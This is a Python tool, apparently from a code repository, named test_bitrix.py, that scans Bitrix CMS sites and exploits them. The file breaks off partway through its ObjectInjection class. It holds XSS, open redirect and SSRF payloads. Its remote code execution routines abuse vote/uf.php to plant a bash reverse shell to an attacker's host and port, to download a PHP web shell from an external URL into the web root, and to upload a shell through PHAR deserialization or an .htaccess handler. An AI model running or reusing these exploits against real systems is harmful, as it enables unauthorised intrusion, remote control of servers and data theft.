-
Notifications
You must be signed in to change notification settings - Fork 11
/
test_bitrix.py
1215 lines (1041 loc) · 51.9 KB
/
test_bitrix.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import argparse
import http
import re
import os
import typing
import itertools
import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm
import requests
import json
from urllib.parse import urlparse, parse_qs, urlencode
import datetime
import time
import random
import string
import io
import pathlib
import sys
import subprocess
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
DARKCYAN = '\033[36m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
ascii_banner = f"""
.................0xxxxxxxxx@@@x..............
............xx...0xxxxxxxxxxxxxx@@@..........
.......x....xx...0xxxxxxxxxxxxxxxxxx@@.......
.....@@x....xx...0xxxxx..xxxxxxxxxxxxxx@0....
...xxxxx....xx...0xxxxx.......0xxxxxxxxxxx...
..@xxxxx0...xx...0xxxxx@@@@0.....0xxxxxxxx@0.
.xxxxxxx0...xx...0xxxxx.....@@0....xxxxxxxxx.
0xxxxxxx0...x0...0xxxxxx......x@....0xxxxxxxx
xxxxxxxx0...xx...0xxxxxxx@@....xx....xxxxxxxx
xxxxxxxx0...xx...0xxxxxxxxx0...0x....xxxxxxxx
xxxxxxxx0...0x....0xxxxxxxx....xx....xxxxxxxx
0xxxxxxxx....0@......xxx......xx....xxxxxxxxx
.xxxxxxxx@.....x@0..........@@0....xxxxxxxxx.
..xxxxxxxxxx......@@@@@@@@@0.....0@xxxxxxxx0.
...0xxxxxxxx@@x................@@xxxxxxxxx...
.....xxxxxxxxxxx@@@x.....0@@@@xxxxxxxxxx0....
.......xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.......
..........xxxxxxxxxxxxxxxxxxxxxxxxx..........
..............0xxxxxxxxxxxxxxx0..............
..................0xxxxxxx0..................
____ _ _ _ ____
| __ )(_) |_ _ __(_)_ __ / ___| ___ __ _ _ __ _ __ ___ _ __
| _ \| | __| '__| \ \/ / \___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
| |_) | | |_| | | |> < ___) | (_| (_| | | | | | | | __/ |
|____/|_|\__|_| |_/_/\_\ |____/ \___\__,_|_| |_|_| |_|\___|_|
The script scans common bitrix vulnerabilities.
You can also separately check RCE vulnerabilities (Object injection, Vote and CVE-2023-1713).
{bcolors.OKGREEN}Green color means potential vulnerability.{bcolors.ENDC}
{bcolors.WARNING}Yellow color means that request is blocked (403 status code).{bcolors.ENDC}
{bcolors.FAIL}Red color means nothing valuable is found.{bcolors.ENDC}
.............................................\n\n\n
"""
requests.packages.urllib3.disable_warnings()
class Formatter(argparse.RawDescriptionHelpFormatter, argparse.ArgumentDefaultsHelpFormatter):
pass
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Bx-ajax': 'true'}
def print_header_scan(name):
print(f"{bcolors.HEADER}{bcolors.BOLD}------------------------ {name} ------------------------{bcolors.ENDC}\n")
def print_header_rce(name):
print(f"{bcolors.OKBLUE}{bcolors.BOLD}------------------------ {name} ------------------------{bcolors.ENDC}\n")
def print_ok(s):
print(f"{bcolors.OKGREEN}{s}{bcolors.ENDC}")
def print_block(s):
print(f"{bcolors.WARNING}{s}{bcolors.ENDC}")
def print_fail(s):
print(f"{bcolors.FAIL}{s}{bcolors.ENDC}")
def get_composite_data(session, target):
data = {}
r = session.get(f'{target}bitrix/tools/composite_data.php', verify=False)
if r.status_code != 200 or r.text == "[]":
print_fail(
f'There is a composite data error. Status code {r.status_code}. Check out {target}bitrix/tools/composite_data.php')
return None
j_r = r.text.replace("'", "\"")
try:
d = json.loads(j_r)
except json.decoder.JSONDecodeError:
print_fail(
f'There is an error while decoding response. Check out {target}bitrix/tools/composite_data.php')
return None
data['SERVER_TIME'] = int(d['SERVER_TIME'])
data['SERVER_TZ_OFFSET'] = int(d['SERVER_TZ_OFFSET'])
data['USER_TZ_OFFSET'] = int(d['USER_TZ_OFFSET'])
data['bitrix_sessid'] = d['bitrix_sessid']
return data
class Scanner:
__admin_url_list = [
"bitrix/components/bitrix/desktop/admin_settings.php",
"bitrix/components/bitrix/map.yandex.search/settings/settings.php",
"bitrix/components/bitrix/player/player_playlist_edit.php",
"bitrix/tools/catalog_export/yandex_detail.php",
"bitrix/tools/sale/basket_discount_convert.php",
"bitrix/tools/sale/discount_reindex.php",
"bitrix/tools/autosave.php",
"bitrix/tools/get_catalog_menu.php",
"bitrix/tools/upload.php",
"ololo/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/",
"ololo/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/",
"ololo/?SEF+APPLICATION%20CUR+PAGE[URL=/bitrix/admin/"
]
__register_url_list = [
"auth/?register=yes",
"crm/?register=yes",
"auth/oauth2/?register=yes",
"bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes",
"bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes",
"bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes",
"bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php?register=yes",
"bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes",
"bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes&sf_EMAIL="
]
__check_error_list = [
"bitrix/admin/restore_export.php",
"bitrix/admin/tools_index.php",
"bitrix/bitrix.php",
"bitrix/modules/main/ajax_tools.php",
"bitrix/php_interface/after_connect_d7.php",
"bitrix/themes/.default/.description.php",
"bitrix/components/bitrix/main.ui.selector/templates/.default/template.php",
"bitrix/components/bitrix/forum.user.profile.edit/templates/.default/interface.php"
]
__rce_by_design_list = [
"bitrix/admin/main_controller.php",
"bitrix/admin/php_command_line.php"
]
__content_spoofing_pg_list = [
"bitrix/tools/imagepg.php?img=//interesnyefakty.org/wp-content/uploads/chto-takoe-fishing.jpg",
"bitrix/templates/learning/js/swfpg.php?img=//evil.host/evil.swf"
]
__open_redirect_list = [
"bitrix/redirect.php?goto=https://example.com%252F:123@google.com/",
"bitrix/rk.php?goto=https://site%252F:123@google.com/",
"bitrix/tools/track_mail_click.php?url=http://site%252F@google.com/"
]
__xss_list = [
"bitrix/components/bitrix/map.google.view/settings/settings.php?arParams[API_KEY]=123'-'%00'-alert(document.domain)-'",
"bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00'}};alert(document.domain);if(1){//",
"bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.location)%3B%7D%3B//%3C/div%3E",
"bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.domain)%20src=1%3E"
]
def __init__(self, session, target, ssrf_url):
self.__session = session
self.__target = target
self.__ssrf_url = ssrf_url
self.__bitrix_data = None
def get_admin_interface(self):
print_header_scan("Bitrix admin interfaces available:")
for url in self.__admin_url_list:
u = self.__target + url
r = self.__session.get(u, verify=False)
if "Авторизация" in r.text and r.status_code == 200:
print_ok(f"{u} is available. There is authorisation")
else:
print_fail(f"There is no admin panel on {u}. Status code: {r.status_code}")
print('\n')
def get_register_interface(self):
print_header_scan("Bitrix register interfaces available:")
for url in self.__register_url_list:
u = self.__target + url
r = self.__session.get(u, verify=False)
if "Регистрация" in r.text and r.status_code == 200:
print_ok(f"{u} is available. There is registration")
else:
print_fail(
f"There is no registration interface on {u}. Status code: {r.status_code}")
print('\n')
def get_register_globals(self):
print_header_scan("Register Globals:")
r = self.__session.get(f'{self.__target}?USER_FIELD_MANAGER=1', verify=False)
if r.status_code >= 500:
print_ok(f"Error message: \n{r.text}")
else:
print_fail(f"No error. Status code: {r.status_code}")
print('\n')
def get_license_key(self):
print_header_scan("License key:")
r = self.__session.get(f'{self.__target}bitrix/license_key.php', verify=False)
if r.status_code == 200 and len(r.text) > 0:
print_ok(r.text)
else:
print_fail(f"License key is not available. Status code: {r.status_code}")
print('\n')
def get_rce_by_design(self):
print_header_scan("RCE by design:")
for url in self.__rce_by_design_list:
u = self.__target + url
r = self.__session.get(u, verify=False)
if r.status_code == 200 and "Авторизация" in r.text:
print_ok(f"{u} has authorisation")
elif r.status_code == 403:
print_block(f"{u} is forbidden")
else:
print_fail(f"{u} is NOT available. Status code: {r.status_code}")
print('\n')
def get_full_path_disclosure(self):
print_header_scan("Full Path Disclosure")
for url in self.__check_error_list:
u = self.__target + url
r = self.__session.get(u, verify=False)
if not (400 <= r.status_code < 500) and (re.search(r'failed|warning|error', r.text, flags=re.I | re.M) or (
r.status_code >= 500 and len(r.text) > 0)):
print_ok(f"Error in {u}")
print('\n')
def get_content_spoofing1(self):
print_header_scan("Content Spoofing (mobileapp.list):")
url = f"{self.__target}bitrix/components/bitrix/mobileapp.list/ajax.php?items[1][TITLE]=TEXT+INJECTION!+PLEASE+CLICK+HERE!&items[1][DETAIL_LINK]=http://google.com"
o = urlparse(url)
query = parse_qs(o.query)
url_without_params = o._replace(query=None).geturl()
r = self.__session.get(url_without_params, params=query, verify=False)
if r.status_code == 200 and "MAPP_ML_MOBILEAPP_NOT_INSTALLED" in r.text:
print_fail(f"{url} is NOT exploitable")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
elif r.status_code == 200 and "TEXT INJECTION! PLEASE CLICK HERE!" in r.text:
print_ok(f"{url} has content spoofing")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def get_content_spoofing2(self):
print_header_scan("Content Spoofing (pg.php):")
for url in self.__content_spoofing_pg_list:
url = self.__target + url
o = urlparse(url)
query = parse_qs(o.query)
url_without_params = o._replace(query=None).geturl()
r = self.__session.get(url_without_params, params=query, verify=False)
if r.status_code == 200 and re.search(
r'//interesnyefakty.org/wp-content/uploads/chto-takoe-fishing.jpg|//evil.host/evil.swf', r.text,
flags=re.I | re.M):
print_ok(f"{url} has content spoofing")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def do_open_redirect(self):
print_header_scan("Open Redirect ( LocalRedirect ):")
for url in self.__open_redirect_list:
url = self.__target + url
o = urlparse(url)
query = parse_qs(o.query)
url_without_params = o._replace(query=None).geturl()
r = self.__session.get(url_without_params, params=query, allow_redirects=False, verify=False)
if r.status_code == 302:
print_ok(f"{url} has redirecting")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def do_xss(self):
print_header_scan("Reflected XSS ( map.google.view, photogallery_user and etc ):")
for url in self.__xss_list:
url = self.__target + url
o = urlparse(url)
query = parse_qs(o.query)
url_without_params = o._replace(query=None).geturl()
r = self.__session.get(url_without_params, params=query, verify=False)
if r.status_code == 200 and re.search(r'alert\(document.domain\)', r.text, flags=re.I | re.M):
print_ok(f"{url} return XSS payload")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def do_store_xss(self):
print_header_scan("Stored Cross-Site Scripting (XSS) via File Upload. XSS works only with Apache server:")
cid = random.randint(0, pow(10, 5))
site_id = "s1"
resp = self.__session.post(
f"{self.__target}desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": self.__bitrix_data['bitrix_sessid'],
"X-Bitrix-Site-Id": site_id,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(cid),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{cid}",
"bxu_info[NAME]": f"file{cid}",
"bxu_files[0][name]": f"file{cid}",
},
files={
"bxu_files[0][default]": (
"file",
"<script>alert(document.domain)</script>",
"text/plain",
)
},
verify=False,
)
# if "nginx" in resp.headers['server']:
# print(f"{bcolors.FAIL}Not vulnerable{bcolors.ENDC}")
# print('\n')
# return
try:
resp_json = resp.json()
path = resp_json["files"][0]["file"]["files"]["default"]["tmp_name"]
print_ok(f"Uploaded file to {path}")
relpath = path[path.index("/upload"):]
print_ok(f"Check out {self.__target}{relpath} for XSS!")
except Exception:
# Get current system exception
ex_type, _, _ = sys.exc_info()
if resp.status_code == 404 or (resp.status_code == 200 and not resp.text):
print_fail("Not vulnerable")
else:
print_fail(f"Error: {ex_type}")
print('\n')
def do_ssrf_attack1(self):
print_header_scan("Server-Side Request Forgery ( main.urlpreview ):")
url = f"{self.__target}bitrix/components/bitrix/main.urlpreview/ajax.php"
data = {'sessid': self.__bitrix_data['bitrix_sessid'], 'userFieldId': 1, 'action': 'attachUrlPreview',
'url': f"{self.__ssrf_url}main.urlpreview"}
r = self.__session.post(url, data=data, verify=False)
if r.status_code == 200:
print_ok("Request was sent")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def do_ssrf_attack2(self):
print_header_scan("Server-Side Request Forgery ( html_editor_action.php ):")
url = f"{self.__target}bitrix/tools/html_editor_action.php"
data = {'sessid': self.__bitrix_data['bitrix_sessid'], 'action': 'video_oembed',
'video_source': f"{self.__ssrf_url}html_editor_action"}
r = self.__session.post(url, data=data, verify=False)
if r.status_code == 200:
print_ok("Request was sent")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def do_ssrf_attack3(self):
print_header_scan("Server-Side Request Forgery ( ajax services ):")
url = f"{self.__target}bitrix/services/main/ajax.php?action=attachUrlPreview&show_actions=y&buildd_preview=y&die_step=3&admin_section=Y&show_cache_stat1=Y&clear_cache=Y&c=bitrix:main.urlpreview&mode=ajax&=&sessid={self.__bitrix_data['bitrix_sessid']}&signedParamsString=1.12&listSubscribeId[]=1&itemId=1&deleteSubscribe=Y&userFieldId=0&elementId=1"
o = urlparse(url)
query = parse_qs(o.query)
url = o._replace(query=None).geturl()
data = {'url': self.__ssrf_url + "index.php?id=1"}
r = self.__session.post(url, params=query, data=data, verify=False)
if r.status_code == 200:
print_ok("Request was sent")
elif r.status_code == 403:
print_block(f"{url} is forbidden")
else:
print_fail(f"{url} is NOT available. Status code: {r.status_code}")
print('\n')
def scan(self):
self.__bitrix_data = get_composite_data(self.__session, self.__target)
self.get_admin_interface()
self.get_register_interface()
self.get_register_globals()
self.get_license_key()
self.get_rce_by_design()
self.get_full_path_disclosure()
self.get_content_spoofing1()
self.get_content_spoofing2()
self.do_open_redirect()
self.do_xss()
if self.__bitrix_data:
self.do_store_xss()
self.do_ssrf_attack1()
self.do_ssrf_attack2()
self.do_ssrf_attack3()
class RCEVote:
def __init__(self, session, target, agent_id, webshell, path_to_file, lhost='', lport=''):
self.__session = session
self.__target = target
self.__agent_id = agent_id
self.__webshell = webshell
self.__path_to_file = path_to_file
self.__lhost = lhost
self.__lport = lport
def get_random_string(self, length):
result_str = ''.join(random.choice(string.ascii_letters) for _ in range(length))
return result_str
def check_uploaded_file(self, uploaded_file, rand_name):
r = self.__session.get(uploaded_file, verify=False)
if r.status_code == 200:
if self.__webshell:
if "Web Shell" in r.text:
return True
else:
if rand_name in r.text:
return True
return False
def reverse_shell_payload(self, params, agent_value):
endpoint = "bitrix/tools/vote/uf.php"
bitrix_data = get_composite_data(self.__session, self.__target)
if not bitrix_data:
return
bitrix_sessid = bitrix_data['bitrix_sessid']
files = ()
if bitrix_sessid:
for i in range(2):
if i == 0:
files = (
(f'bxu_files[{agent_value}][NAME]',
(None, f'system(\'/bin/bash -c "bash -i >& /dev/tcp/{self.__lhost}/{self.__lport} 0>&1"\');')),
# (f'bxu_files[{agent_value}][NAME]', (None, f"""system('php -r \\\'$s=fsockopen("{lhost}",{lport});shell_exec("/bin/sh -i <&3 >&3 2>&3");\\\'');""")),
# field name filename file object content-type
(f'bxu_files[{agent_value}][NAME]', ('image.jpg', '123', 'image/jpeg')),
('bxu_info[packageIndex]', (None, 'pIndex101')),
('bxu_info[mode]', (None, 'upload')),
('sessid', (None, bitrix_sessid)),
('bxu_info[filesCount]', (None, '1')),
)
if i == 1:
date_unix = bitrix_data['SERVER_TIME'] + bitrix_data['SERVER_TZ_OFFSET'] + 20
date_next_exec = datetime.datetime.fromtimestamp(date_unix, datetime.timezone(datetime.timedelta(0),
'GMT')).strftime(
'%d.%m.%Y %H:%M:%S')
# Body for the second request to change agent time
files = (
(f'bxu_files[{agent_value}][NEXT_EXEC]', (None, date_next_exec)),
# field name filename file object content-type
(f'bxu_files[{agent_value}][NAME]', ('image.jpg', '123', 'image/jpeg')),
('bxu_info[packageIndex]', (None, 'pIndex101')),
('bxu_info[mode]', (None, 'upload')),
('sessid', (None, bitrix_sessid)),
('bxu_info[filesCount]', (None, '1')),
)
url = f"{self.__target}{endpoint}"
r = self.__session.post(url, params=params, files=files, verify=False)
if r.status_code != 200:
return False
return True
def run(self):
print_header_rce("Arbitrary Object Instantiation ( vote/uf.php )")
bitrix_data = get_composite_data(self.__session, self.__target)
if not bitrix_data:
return
bitrix_sessid = bitrix_data['bitrix_sessid']
target_url = self.__target[:-1]
endpoint = "/bitrix/tools/vote/uf.php"
# end1 = "attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote"
query = [
("attachId[ENTITY_TYPE]", "CFileUploader"),
("attachId[ENTITY_ID][events][onFileIsStarted][]", "CAllAgent"),
("attachId[ENTITY_ID][events][onFileIsStarted][]", "Update"),
("attachId[MODULE_ID]", "vote"),
("action", "vote"),
]
if self.__agent_id == 1:
agent_value = "f"
elif self.__agent_id == 2:
agent_value = "1"
elif self.__agent_id == 3:
agent_value = "343"
elif self.__agent_id == 4:
agent_value = "r"
elif self.__agent_id == 5:
agent_value = "zxc"
elif self.__agent_id == 6:
agent_value = "m"
elif self.__agent_id == 7:
agent_value = "u"
elif self.__agent_id == 8:
agent_value = "dfgdfg"
else:
agent_value = "x"
# success = False
url = f"{target_url}{endpoint}"
query2 = urlencode(query, safe='[]')
if self.__path_to_file:
# append slash at start
if self.__path_to_file[0] != "/":
self.__path_to_file = "/" + self.__path_to_file
# append slash at end
if self.__path_to_file[-1] != "/":
self.__path_to_file += "/"
else:
self.__path_to_file = "/"
# Generate random name for uploading file.
rand_name = self.get_random_string(12)
uploaded_file = f"{target_url}{self.__path_to_file}{rand_name}.txt"
count = 0
files = ()
# Loop for sending two requests.
for i in range(2):
if i == 0:
if self.__webshell:
# Request Body to add agent that will download the web reverse shell
uploaded_file = f"{target_url}{self.__path_to_file}{rand_name}.php"
files = (
(f'bxu_files[{agent_value}][NAME]', (None,
f'file_put_contents($_SERVER[\'DOCUMENT_ROOT\']."{self.__path_to_file}{rand_name}.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));')),
(f'bxu_files[{agent_value}][NAME]', ('image.jpg', '123', 'image/jpeg')),
('bxu_info[packageIndex]', (None, 'pIndex101')),
('bxu_info[mode]', (None, 'upload')),
('sessid', (None, bitrix_sessid)),
('bxu_info[filesCount]', (None, '1')),
)
else:
# Request Body to add agent that will create dummy file to check if target is vulnerable
files = (
(f'bxu_files[{agent_value}][NAME]', (None,
f'file_put_contents($_SERVER[\'DOCUMENT_ROOT\']."{self.__path_to_file}{rand_name}.txt", "{rand_name}' + r'\n");')),
(f'bxu_files[{agent_value}][NAME]', ('image.jpg', '123', 'image/jpeg')),
('bxu_info[packageIndex]', (None, 'pIndex101')),
('bxu_info[mode]', (None, 'upload')),
('sessid', (None, bitrix_sessid)),
('bxu_info[filesCount]', (None, '1')),
)
if i == 1:
date_unix = bitrix_data['SERVER_TIME'] + bitrix_data['SERVER_TZ_OFFSET'] + 20
date_next_exec = datetime.datetime.fromtimestamp(date_unix,
datetime.timezone(datetime.timedelta(0),
'GMT')).strftime(
'%d.%m.%Y %H:%M:%S')
# Body for the second request to change agent time
files = {
f'bxu_files[{agent_value}][NEXT_EXEC]': (None, date_next_exec),
# field name filename file object content-type
f'bxu_files[{agent_value}][NAME]': ('image.jpg', '123', 'image/jpeg'),
'bxu_info[packageIndex]': (None, 'pIndex101'),
'bxu_info[mode]': (None, 'upload'),
'sessid': (None, bitrix_sessid),
'bxu_info[filesCount]': (None, '1')
}
r = self.__session.post(url, params=query2, files=files, verify=False)
if r.status_code == 200:
if not len(r.text):
print_fail("Vote agent module is not vulnerable.")
return
else:
if "Connector class should be instance of Bitrix\\\\Vote\\\\Attachment\\\\Connector" in r.text:
print_fail(f"Vote agent module is not vulnerable.")
return
if "The copy name is not in the list" in r.text:
count += 1
elif r.status_code == 404:
print_fail("Vote agent module is not vulnerable.")
return
print_ok("Vote agent might be vulnerable! Waiting 60 sec for agent activation...")
if count == 2:
print_ok("If attack will not work check out another path. Add argument --path")
time.sleep(60)
success = self.check_uploaded_file(uploaded_file, rand_name)
if success and self.__webshell:
print_ok(
f"The target's vote module is vulnerable! Web shell is uploaded, check {uploaded_file}")
return
elif success and not self.__webshell:
print_ok(
"The target's vote module is vulnerable! Preparing reverse shell connection.")
time.sleep(10)
err = self.reverse_shell_payload(query2, agent_value)
time.sleep(15)
if not err:
print_fail("Unable to establish reverse shell connection")
else:
for counter in range(3):
print_fail(f"Failed, trying one more time... {counter + 1}")
time.sleep(3)
success = self.check_uploaded_file(uploaded_file, rand_name)
if success and self.__webshell:
print_ok(
f"The target's vote module is vulnerable! Web shell is uploaded, check {uploaded_file}")
return
if success and not self.__webshell:
print_ok(
"The target's vote module is vulnerable! Preparing reverse shell connection.")
time.sleep(10)
err = self.reverse_shell_payload(query2, agent_value)
time.sleep(15)
if not err:
print_fail(f"Unable to establish reverse shell connection")
return
print_fail(f"The target's vote agent might be dead, try another vote agent's ID!")
class RCEVoteUpload:
def __init__(self, session, target, payload, payload_name):
self.__session = session
self.__target = target
self.__payload = payload
self.__payload_name = payload_name
def make_file(self, name, content):
f = io.BytesIO(content)
f.name = name
return f
def upload_files(self, sessid, payloads):
cid = "CID" + str(random.randint(1000000000000, 9999999999999))
pindex = "pIndex" + str(random.randint(1000000000000, 9999999999999))
files = {
"bxu_info[CID]": (None, cid),
"bxu_info[packageIndex]": (None, pindex),
"bxu_info[filesCount]": (None, str(len(payloads))),
"bxu_info[mode]": (None, "upload"),
}
params = {
"attachId[MODULE_ID]": "iblock",
"attachId[ENTITY_TYPE]": "CFileUploader",
"action": "vote",
"sessid": sessid,
}
for i, f in enumerate(payloads):
files[f"bxu_files[{i}][name]"] = (None, "1")
files[f"bxu_files[{i}][{f.name}]"] = f
params[f"attachId[ENTITY_ID][copies][{f.name}]"] = "1"
r = self.__session.post(
f"{self.__target}bitrix/tools/vote/uf.php",
params=params,
files=files,
verify=False,
)
paths = {}
try:
data = r.json()
for fname, info in data["files"][0]["file"]["files"].items():
if fname == "default":
continue
paths[fname] = info["tmp_name"]
except Exception:
if not len(r.text):
raise Exception(
f"Fail to upload files, bad response. Empty body response. Status code: {r.status_code}")
raise Exception(f"Fail to upload files, bad response. Status code: {r.status_code}")
return paths
def run_phar(self):
print_header_rce("RCE using PHAR deserialization ( vote/uf.php )")
bitrix_data = get_composite_data(self.__session, self.__target)
if not bitrix_data:
return
sessid = bitrix_data['bitrix_sessid']
print_ok("Uploading PHAR")
paths = self.upload_files(
sessid,
[
self.make_file(self.__payload_name, self.__payload.read())
]
)
path = paths[self.__payload_name]
params = {
"attachId[MODULE_ID]": "iblock",
"attachId[ENTITY_TYPE]": "Phar",
"attachId[ENTITY_ID]": path,
"action": "vote",
"sessid": sessid,
}
print_ok("Access uploaded PHAR to trigger unserialize. Checking a deserialization...")
r = self.__session.post(
f"{self.__target}bitrix/tools/vote/uf.php",
params=params,
verify=False,
)
if r.status_code == 200:
if len(r.text):
if ("Connector class should be instance of Connector" in r.text) or (
"Connector class should be instance of Bitrix\\\\Vote\\\\Attachment\\\\Connector" in r.text):
print_fail("Vote agent module for phar deserialization is not vulnerable.")
return
elif 'Error' in r.text:
print_fail(
f"There is error. Status code: {r.status_code}. Response text: {r.text}")
return
else:
print_ok(f"Vulnerable: {r.text}")
else:
print_fail("Not vulnerable")
else:
print_fail(f"There is error. Status code: {r.status_code}. Response text: {r.text}")
def run_htaccess(self):
print_header_rce("RCE using .htaccess and shell upload ( vote/uf.php )")
bitrix_data = get_composite_data(self.__session, self.__target)
if not bitrix_data:
return
sessid = bitrix_data['bitrix_sessid']
ext = pathlib.Path(self.__payload_name).suffix
paths = self.upload_files(
sessid,
[
self.make_file(self.__payload_name, self.__payload.read()),
self.make_file(
"../.htaccess", f"AddHandler application/x-httpd-php {ext}\n".encode()
),
],
)
try:
parts = paths[self.__payload_name].split("/")
shell_path = "/".join(parts[parts.index("upload"):])
print_ok(f"Success! Shell path {self.__target}{shell_path}")
except Exception as e:
print_fail(f"Error: {str(e)}")
class ObjectInjection:
def __init__(self, session, target, function, command):
self.__session = session
